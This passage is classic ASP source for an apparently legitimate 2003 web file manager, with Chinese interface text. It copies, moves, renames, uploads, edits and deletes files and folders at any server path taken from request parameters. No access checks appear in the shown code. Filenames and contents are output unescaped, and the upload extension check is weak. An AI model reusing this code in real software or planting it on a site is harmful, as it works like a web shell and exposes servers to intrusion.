	tmpStr = tmpStr & "<tr><td width=120 align=right><strong>上传地址：</strong></td><td><input type=text value='"&TestFilePath&"' name='FileUploadPath' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>文件名字：</strong></td><td><input type=text value='' name=uploadfile style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='上传'>&nbsp;&nbsp;<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileCopy()
' 功能说明：文件的拷贝
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileCopy()
	Call fileHead()
	
	If Not FSO.FileExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件不存在，请刷新页面重试！\n"	
	End If
	
	CheckStrErr()

	Set File = FSO.GetFile(TestFilePath)
	ParentFolder = File.ParentFolder

	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FileCopySave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件复制</th>"
	tmpStr = tmpStr & "<tr><td width=100 align=right><strong>目标地址：</strong></td><td><input type=text value='"&ParentFolder&"' name=uploadAdd style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>复制的文件：</strong></td><td><input type=text value='"&TestFilePath&"' name=uploadfile style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='拷贝'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileCopySave()
' 功能说明：文件拷贝的保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileCopySave()
	Dim uploadAdd,uploadfile

	uploadAdd  = Trim(Request.Form("uploadAdd"))
	uploadfile = Trim(Request.Form("uploadfile"))

	If Len(uploadAdd) <= 0 Then
		StrErr = StrErr & "请输入要复制到的目标地址！\n"	
	End If

	If Len(uploadfile) <= 0 Then
		StrErr = StrErr & "请输入要复制的文件！\n"	
	End If

	If Not FSO.FolderExists(uploadAdd) Then
		StrErr = StrErr & "复制的目标地址不存在，请重新选择！\n"	
	End If

	If Not FSO.FileExists(uploadfile) Then
		StrErr = StrErr & "要复制的文件不存在，请重新选择！\n"	
	End If
	
	CheckStrErr()

	Set File = FSO.GetFile(uploadfile)

	If FSO.FileExists(uploadAdd&"\"&File.Name) Then

		Response.Write "<script>"
		Response.Write "  if(confirm('您要复制的文件在目标地址已经存在，请确认是否替换？'))"
		Response.Write "    window.location = '"&Url&"?action=FileCopySaveQuery&FileCopySaveOver=1&TestFilePath="&Replace(uploadfile,"\","/")&"&FileCopyToPath="&Replace(uploadAdd,"\","/")&"';"
		Response.Write "  else "
		Response.Write "    window.location = '"&Url&"?action=FileCopySaveQuery&FileCopySaveOver=0&TestFilePath="&Replace(uploadfile,"\","/")&"&FileCopyToPath="&Replace(uploadAdd,"\","/")&"';"
		Response.Write "</script>"

		Response.End

	End If

	File.Copy (uploadAdd&"\"&File.Name)

	Response.Write("<script>")
	Response.Write("alert('"&File.Name&"文件拷贝成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileCopySaveQuery()
' 功能说明：文件的复制的判断
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileCopySaveQuery()
	Dim FileCopySaveOver,FileCopyToPath

	FileCopySaveOver  = Trim(Request.QueryString("FileCopySaveOver"))
	FileCopyToPath    = Trim(Request.QueryString("FileCopyToPath"))
	FileCopyToPath    = Replace(FileCopyToPath,"/","\")
	
	If (Len(TestFilePath) <= 0) or  (Len(FileCopyToPath) <= 0) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If

	If (Not FSO.FileExists(TestFilePath)) or (Not FSO.FolderExists(FileCopyToPath)) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If
	
	CheckStrErr()
	
	If FileCopySaveOver = "1" Then
		Set File = FSO.GetFile(TestFilePath)
		File.Copy (FileCopyToPath&"\"&File.Name)

		tmpStr = "<script>alert('文件拷贝成功,请刷新页面查看！');window.close();</script>"
	Else
		tmpStr = "<script>history.go(-2);</script>"
	End If
	
	Response.Write tmpStr

	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileUpload()
' 功能说明：文件上传
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileUpload()
	Call fileHead()
	
	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "指定的目录不存在，请刷新页面重试！\n"	
	End If
	
	CheckStrErr()
		
	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FileUploadSave' name='form1' method='POST' enctype='multipart/form-data'>"
	tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件上传</th>"
	tmpStr = tmpStr & "<tr><td width=100 align=right><strong>上传地址：</strong></td><td><input type=text value='"&TestFilePath&"' name='FileUploadPath' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>上传文件：</strong></td><td><input type=file value='' name='FileUploadName' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='上传'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
		
	Response.Write tmpStr
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileUploadSave()
' 功能说明：文件上传保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileUploadSave()
	Dim FileUploadPath,uploadfile,objUpload,FileName,FileNameBackUp
	Dim tmpState

	Set objUpload = New upload_5xsoft

	FileUploadPath = Trim(objUpload.Form("FileUploadPath"))
	If Len(FileUploadPath) <= 0 Then
		StrErr = "请填写文件上传的目标地址！\n"	
	End If
	
	If Not FSO.FolderExists(FileUploadPath) Then 
		StrErr = StrErr & "您访问的目录不存在，请重新选择！\n"	
	End If
	
	Set File = objUpload.File("FileUploadName")
	FileName = File.FileName
	
	If Len(FileName) <= 0 Then
		StrErr = StrErr & "请先选择文件之后再上传！\n"	
	End If

	If File.FileSize <= 0 Then  	
		StrErr = StrErr & "您上传的文件的大小小于0，不能上传，请重新选择！\n"	
	End If
	
	CheckStrErr()
	
	tmpStr = Right(FileName,(Len(FileName) - Instr(1, FileName, ".", 0)))
	
	tmpState = 0
	For i = 0 To Ubound(FileUploadExt)
		If LCase(FileUploadExt(i)) = LCase(tmpStr) Then
			tmpState = 1
			Exit For
		End If	
	Next
	
	If tmpState = 0 Then
		Response.Write "<script>alert('您上传的文件类型不在系统允许的 \n 范围内，请重新选择文件！');history.back();</script>"
		Response.End
	End If

	If FSO.FileExists(FileUploadPath&"\"&FileName) Then

		FileNameBackUp = Replace(FileName,"."&tmpStr,"."&FileBackUpExt)
		File.SaveAs FileUploadPath&"\"&FileNameBackUp

		Response.Write "<script>"
		Response.Write "  if(confirm('您上传的文件已经存在，请确认是否替换？'))"
		Response.Write "    window.location = '"&Url&"?action=FileUploadSaveQuery&FileUploadSaveOver=1&TestFilePath="&Replace(FileUploadPath&"\"&FileNameBackUp,"\","/")&"&OldFilePath="&Replace(FileUploadPath&"\"&FileName,"\","/")&"';"
		Response.Write "  else "
		Response.Write "    window.location = '"&Url&"?action=FileUploadSaveQuery&FileUploadSaveOver=0&TestFilePath="&Replace(FileUploadPath&"\"&FileNameBackUp,"\","/")&"&OldFilePath="&Replace(FileUploadPath&"\"&FileName,"\","/")&"';"
		Response.Write "</script>"

		Response.End

	End If

	File.SaveAs FileUploadPath&"\"&FileName
	
	Response.Write("<script>")
	Response.Write("alert('"&FileName&"文件上传成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileUploadSaveQuery()
' 功能说明：判断用的选择，有关上传文件的。
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileUploadSaveQuery()
	Dim FileUploadSaveOver,OldFilePath

	FileUploadSaveOver = Trim(Request.QueryString("FileUploadSaveOver"))
	OldFilePath        = Trim(Request.QueryString("OldFilePath"))
	OldFilePath        = Replace(OldFilePath,"/","\")
	
	If (Len(TestFilePath) <= 0) or  (Len(OldFilePath) <= 0) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If

	If (Not FSO.FileExists(TestFilePath)) or (Not FSO.FileExists(OldFilePath)) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If
	
	CheckStrErr()
	
	Set File = FSO.GetFile(TestFilePath)
	If FileUploadSaveOver = "1" Then

		tmpStr = Right(OldFilePath,(Len(OldFilePath) - Instr(1, OldFilePath, ".", 0)))
		File.Copy (Replace(TestFilePath ,"."&FileBackUpExt ,"."&tmpStr))

		tmpStr = "<script>alert('文件操作成功,请刷新页面查看！');window.close();</script>"
	Else
		tmpStr = "<script>history.go(-2);</script>"
	End If

	FSO.DeleteFile(TestFilePath)
	
	Response.Write tmpStr

	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileDelete()
' 功能说明：删除文件
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileDelete()
	Dim ParentFolder,FileName
	
	If Len(TestFilePath) <= 0 Then
		StrErr = StrErr & "请先选择文件之后再删除！\n"	
	End If

	If Not FSO.FileExists(TestFilePath) Then
		StrErr = StrErr & "您要删除的文件不存在，请重新选择！\n"	
	End If
	
	CheckStrErr()
	
	Set File = FSO.GetFile(TestFilePath)
	ParentFolder = File.ParentFolder
	FileName = File.Name
	
	On Error Resume Next
	
	If FSO.FileExists(TestFilePath) Then
		FSO.DeleteFile(TestFilePath)
	End If
	
	CheckErr(Err)

	Response.Write("<script>alert('"&FileName&"文件已经被删除!');")
	Response.Write("window.location = '"&Url&"?action=Current&TestFilePath="&Replace(ParentFolder,"\","/")&"'</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileMove()
' 功能说明：文件的移动
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileMove()
	Call fileHead()
	
	If Not FSO.FileExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件不存在，请刷新页面重试！\n"	
	End If
	
	CheckStrErr()

	Set File = FSO.GetFile(TestFilePath)
	ParentFolder = File.ParentFolder

	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FileMoveSave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件移动</th>"
	tmpStr = tmpStr & "<tr><td width=100 align=right><strong>目标地址：</strong></td><td><input type=text value='"&ParentFolder&"' name='MoveToPath' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>移动的文件：</strong></td><td><input type=text value='"&TestFilePath&"' name=MoveFile style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='移动'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileMoveSave()
' 功能说明：文件移动的保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileMoveSave()
	Dim MoveToPath,MoveFile

	MoveToPath  = Trim(Request.Form("MoveToPath"))
	MoveFile    = Trim(Request.Form("MoveFile"))

	If Len(MoveToPath) <= 0 Then
		StrErr = StrErr & "请输入要移动到的目标地址！\n"	
	End If

	If Len(MoveFile) <= 0 Then
		StrErr = StrErr & "请输入要移动的文件！\n"	
	End If

	If Not FSO.FolderExists(MoveToPath) Then
		StrErr = StrErr & "移动的目标地址不存在，请重新选择！\n"	
	End If

	If Not FSO.FileExists(MoveFile) Then
		StrErr = StrErr & "要移动的文件不存在，请重新选择！\n"	
	End If
	
	CheckStrErr()

	Set File = FSO.GetFile(MoveFile)

	If FSO.FileExists(MoveToPath&"\"&File.Name) Then

		Response.Write "<script>"
		Response.Write "  if(confirm('您要移动的文件在目标地址已经存在，请确认是否替换？'))"
		Response.Write "    window.location = '"&Url&"?action=FileMoveSaveQuery&FileMoveSaveOver=1&TestFilePath="&Replace(MoveFile,"\","/")&"&FileMoveToPath="&Replace(MoveToPath,"\","/")&"';"
		Response.Write "  else "
		Response.Write "    window.location = '"&Url&"?action=FileMoveSaveQuery&FileMoveSaveOver=0&TestFilePath="&Replace(MoveFile,"\","/")&"&FileMoveToPath="&Replace(MoveToPath,"\","/")&"';"
		Response.Write "</script>"

		Response.End

	End If

	File.Move (MoveToPath&"\"&File.Name)

	Response.Write("<script>")
	Response.Write("alert('"&File.Name&"文件移动成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileMoveSaveQuery()
' 功能说明：文件的移动的判断
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileMoveSaveQuery()
	Dim FileMoveSaveOver,FileMoveToPath

	FileMoveSaveOver  = Trim(Request.QueryString("FileMoveSaveOver"))
	FileMoveToPath    = Trim(Request.QueryString("FileMoveToPath"))
	FileMoveToPath    = Replace(FileMoveToPath,"/","\")
	
	If (Len(TestFilePath) <= 0) or  (Len(FileMoveToPath) <= 0) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If

	If (Not FSO.FileExists(TestFilePath)) or (Not FSO.FolderExists(FileMoveToPath)) Then
		StrErr = "系统出现了未知的错误，请重新执行！\n"	
	End If
	
	CheckStrErr()

	If FileMoveSaveOver = "1" Then
		Set File = FSO.GetFile(TestFilePath)
		File.Copy (FileMoveToPath&"\"&File.Name)
		File.Delete 

		tmpStr = "<script>alert('文件移动成功,请刷新页面查看！');window.close();</script>"
	Else
		tmpStr = "<script>history.go(-2);</script>"
	End If
	
	Response.Write tmpStr

	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileReName()
' 功能说明：文件的改名
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileReName()
	Call fileHead()
	
	If Not FSO.FileExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件不存在，请刷新页面重试！\n"	
	End If
	
	CheckStrErr()

	Set File = FSO.GetFile(TestFilePath)

	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FileReNameSave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件改名<input type='hidden' name='TestFilePath' value='"&TestFilePath&"'></th>"
	tmpStr = tmpStr & "<tr><td width=100 align=right><strong>原文件名：</strong></td><td><input type=text value='"&File.Name&"' name='FileNameOld' style='width:350px' ReadOnly='True'></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>目标文件名：</strong></td><td><input type=text value='"&File.Name&"' name='FileNameNew' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='改名'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileReNameSave()
' 功能说明：文件改名的保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileReNameSave()
	Dim FileNameOld,FileNameNew,FileNameBackUp,FileBackUpExt

	FileNameOld  = Trim(Request.Form("FileNameOld"))
	FileNameNew  = Trim(Request.Form("FileNameNew"))
	TestFilePath = Trim(Request.Form("TestFilePath"))

	Set File = FSO.GetFile(TestFilePath)
	ParentFolder = File.ParentFolder

	If Len(FileNameOld) <= 0 Then
		StrErr = StrErr & "文件原来的名字不存在，请重新选择！\n"	
	End If

	If Len(FileNameNew) <= 0 Then
		StrErr = StrErr & "请输入要改名的文件！\n"	
	End If

	If Not FSO.FileExists(ParentFolder&"\"&FileNameOld) Then
		StrErr = StrErr & "改名的目标地址不存在，请重新选择！\n"	
	End If

	If FSO.FileExists(ParentFolder&"\"&FileNameNew) Then
		StrErr = StrErr & "目标文件名已经存在，请重新填写！\n"	
	End If
	
	CheckStrErr()

	File.Copy (ParentFolder&"\"&FileNameNew)
	File.Delete

	Response.Write("<script>")
	Response.Write("alert('"&FileNameOld&"文件改名成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileEdit()
' 功能说明：文件的编辑
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileEdit()
	Call fileHead()
	Dim tmpState,f,FileDataSet
	
	On Error Resume Next

	Set File = FSO.GetFile(TestFilePath)

	If Not FSO.FileExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件不存在，请刷新页面重试！\n"	
	End If
	
	tmpStr   = Right(File.Name,(Len(File.Name) - Instr(1, File.Name, ".", 0)))
	tmpState = 0

	For i = 0 To Ubound(FileEditExt)
		If LCase(FileEditExt(i)) = LCase(tmpStr) Then
			tmpState = 1
			Exit For
		End If	
	Next
	
	If tmpState = 0 Then
		StrErr = StrErr & "系统不允许编辑这种类型的文件，请重新选择！\n"	
	End If

	If Len(StrErr) > 0 Then
		Response.Write "<script>alert('"&StrErr&"');window.close();</script>"
		Response.End
	End If
	'CheckStrErr()

	Set f = FSO.OpenTextFile(TestFilePath)
	
	CheckErr(Err)
	
	If f.AtEndOfStream Then
		FileDataSet = ""
	Else
		FileDataSet = f.ReadAll
		CheckErr(Err)

	End If

	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FileEditSave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=750 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件编辑</th>"
	tmpStr = tmpStr & "<tr><td width=80 align=left><strong>文&nbsp;件&nbsp;名：</strong></td><td><input type=text value='"&TestFilePath&"' name='FileName' style='width:400px' ReadOnly='True'></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align='left' clospan='2' bgcolor='#DEFDC1'><strong>文件内容：</strong></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2><textarea class='input' name='FileContent' rows=25 cols=103 wrap='OFF'>"&FileDataSet&"</textarea></td></tr>"
	tmpStr = tmpStr & ""
	tmpStr = tmpStr & "<tr><td colspan=2>&nbsp;</td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='保存'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileEditSave()
' 功能说明：文件编辑的保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileEditSave()
	Dim FileName,FileContent,f

	FileName     = Trim(Request.Form("FileName"))
	FileContent  = Trim(Request.Form("FileContent"))
    
	On Error Resume Next

	Set File = FSO.GetFile(FileName)
	
	CheckErr(Err)

	ParentFolder = File.ParentFolder

	If Not FSO.FileExists(FileName) Then
		StrErr = StrErr & "编辑的文件不存在，请刷新页面重试！\n"	
	End If
	
	CheckStrErr()
	
	Set f = FSO.OpenTextFile(FileName,2)
	
	CheckErr(Err)
	
	f.Write FileContent
    
	CheckErr(Err)

	Response.Write("<script>")
	Response.Write("alert('"&File.Name&"文件编辑成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileNew()
' 功能说明：文件的新建
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-04 7:40 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileNew()
	Call fileHead()
	
	ParentFolder = ""

	If FSO.FolderExists(TestFilePath) Then
		Set Folder = FSO.GetFolder(TestFilePath)
		
		If Folder.IsRootFolder Then
			ParentFolder = Folder.Path
		Else
			ParentFolder = Folder.Path&"\"
		End If
		
	End If
	
	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FileNewSave&TestFilePath="&UrlEnCode(TestFilePath)&"' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=750 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>文件新建</th>"
	tmpStr = tmpStr & "<tr><td width=80 align=left><strong>文件目录：</strong></td><td><input type=text value='"&ParentFolder&"' name='TestFilePath' style='width:400px'></td></tr>"
	tmpStr = tmpStr & "<tr><td width=80 align=left><strong>文&nbsp;件&nbsp;名：</strong></td><td><input type=text value='' name='FileName' style='width:400px'>(<font color='red'>*</font>不允许加路径)</td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align='left' clospan='2' bgcolor='#DEFDC1'><strong>文件内容：</strong></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2><textarea class='input' name='FileContent' rows=23 cols=103 wrap='OFF'></textarea></td></tr>"
	tmpStr = tmpStr & ""
	tmpStr = tmpStr & "<tr><td colspan=2>&nbsp;</td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='保存'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	tmpStr = tmpStr & "<script>form1.FileName.focus();</script>"

	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FileNewSave()
' 功能说明：文件新建的保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-08-04 7:40 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FileNewSave()
	Dim FileName,FileContent,f,tmpState

	FileName     = Trim(Request.Form("FileName"))
	FileContent  = Trim(Request.Form("FileContent"))
	TestFilePath = Trim(Request.Form("TestFilePath"))
	
	If Len(FileName) <= 0 Then
		StrErr = StrErr & "文件名不能为空，请重新填写！\n"
	End If
	
	If Len(TestFilePath) <= 0 Then
		StrErr = StrErr & "目录名不能为空，请重新填写！\n"
	End If
	
	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "目录名不存在，请重新填写！\n"
	End If
	
	CheckStrErr()
	
	If FSO.FileExists(TestFilePath&"\"&FileName) Then
		StrErr = StrErr & FileName & " 在目录名已经存在，请重新填写！\n"
	End If
	
	CheckStrErr()
	
	tmpStr   = Right(FileName,(Len(FileName) - Instr(1, FileName, ".", 0)))
	tmpState = 0

	For i = 0 To Ubound(FileEditExt)
		If FileEditExt(i) = tmpStr Then
			tmpState = 1
			Exit For
		End If	
	Next
	
	If tmpState = 0 Then
		StrErr = StrErr & "系统不允许这种类型的文件，请重新填写！\n"	
	End If
	
	CheckStrErr()

	Set File = FSO.CreateTextFile(TestFilePath&"\"&FileName,True)

	File.Write FileContent

	Response.Write("<script>")
	Response.Write("alert('"&FileName&" 文件新建成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：ReadText()
' 功能说明：修改文件的扩展名
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub ReadText()
	Dim File,extName,FileName,ParentFolder
	Set File = FSO.GetFile(TestFilePath)
	ParentFolder = File.ParentFolder
	extName  = Right(TestFilePath,(Len(TestFilePath) - Instr(1, TestFilePath, ".", 0)))

	If extName = "mde" Then
		FSO.DeleteFile(TestFilePath)
	Else
		FileName = Replace(TestFilePath,extName,"mde")
		
		If FSO.FileExists (FileName) Then
			FSO.DeleteFile(FileName)
		End If

		File.Copy (FileName)
	End If

	Response.Redirect ""&Url&"?action=Current&TestFilePath="&ParentFolder
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderNew()
' 功能说明：新建文件夹
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderNew()
	Call fileHead()
	
	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "指定的文件夹不存在，请刷新页面重试！\n"	
	End If
	
	CheckStrErr()

	tmpStr = ""
	tmpStr = tmpStr & "<form action='"&Url&"?action=FolderNewSave' name='form1' method='POST'>"
	tmpStr = tmpStr & "<table border=0 width=480 cellspacing=1 cellpadding=2 align=center>"
	tmpStr = tmpStr & "<th colspan=2>新建文件夹</th>"
	tmpStr = tmpStr & "<tr><td width=100 align=right><strong>文件夹目录：</strong></td><td><input type=text value='"&TestFilePath&"' name='TestFolderPath' style='width:350px' ReadOnly='True'></td></tr>"
	tmpStr = tmpStr & "<tr><td align=right><strong>文件夹名称：</strong></td><td><input type=text value='' name='FolderName' style=width:350px></td></tr>"
	tmpStr = tmpStr & "<tr><td colspan=2 align=center><input type=submit value='新建'>&nbsp;&nbsp;"
	tmpStr = tmpStr & "<input type=reset value='重设'>&nbsp;&nbsp;<input type=button value='关闭' onclick='javascript:window.close();'></td></tr></table></form>"
	tmpStr = tmpStr & "<script>form1.FolderName.focus();</script>"
	
	Response.Write tmpStr
	Response.End

End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderNewSave()
' 功能说明：文件夹新建的保存
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderNewSave()
	Dim FolderName,TestFolderPath

	FolderName     = Trim(Request.Form("FolderName"))
	TestFolderPath = Trim(Request.Form("TestFolderPath"))
	
	If Len(FolderName) <= 0 Then
		StrErr = StrErr & "文件夹名不能为空，请重新填写！\n"
	End If
	
	If Len(TestFolderPath) <= 0 Then
		StrErr = StrErr & "目录名不能为空，请重新填写！\n"
	End If
	
	CheckStrErr()
	
	If FSO.FolderExists(TestFolderPath&"\"&FolderName) Then
		StrErr = StrErr & "目录名已经存在，请重新填写！\n"
	End If
	
	CheckStrErr()
	
	
	FSO.CreateFolder(TestFolderPath&"\"&FolderName)

	Response.Write("<script>")
	Response.Write("alert('"&FolderName&"文件夹新建成功,请刷新页面查看！');window.close();</script>")
	Response.End
End Sub


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 过程名称：FolderDelete()
' 功能说明：删除文件夹
' 创建时间：2003-07-31 13:20
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub FolderDelete()
	Dim ParentFolder,FolderName
	
	If Len(TestFilePath) <= 0 Then
		StrErr = StrErr & "请先选择文件夹之后再删除！\n"	
	End If

	If Not FSO.FolderExists(TestFilePath) Then
		StrErr = StrErr & "您要删除的文件夹不存在，请重新选择！\n"	
	End If
	
	CheckStrErr()
	
	Set Folder = FSO.GetFolder(TestFilePath)
	
	FolderName   = Folder.Name
	ParentFolder = Folder.ParentFolder
	
	FSO.DeleteFolder(TestFilePath)
	
	Response.Write("<script>alert('"&FolderName&"  文件夹已经被删除!');")
	Response.Write("window.location = '"&Url&"?action=Current&TestFilePath="&Replace(ParentFolder,"\","/")&"'</script>")
	Response.End
End Sub


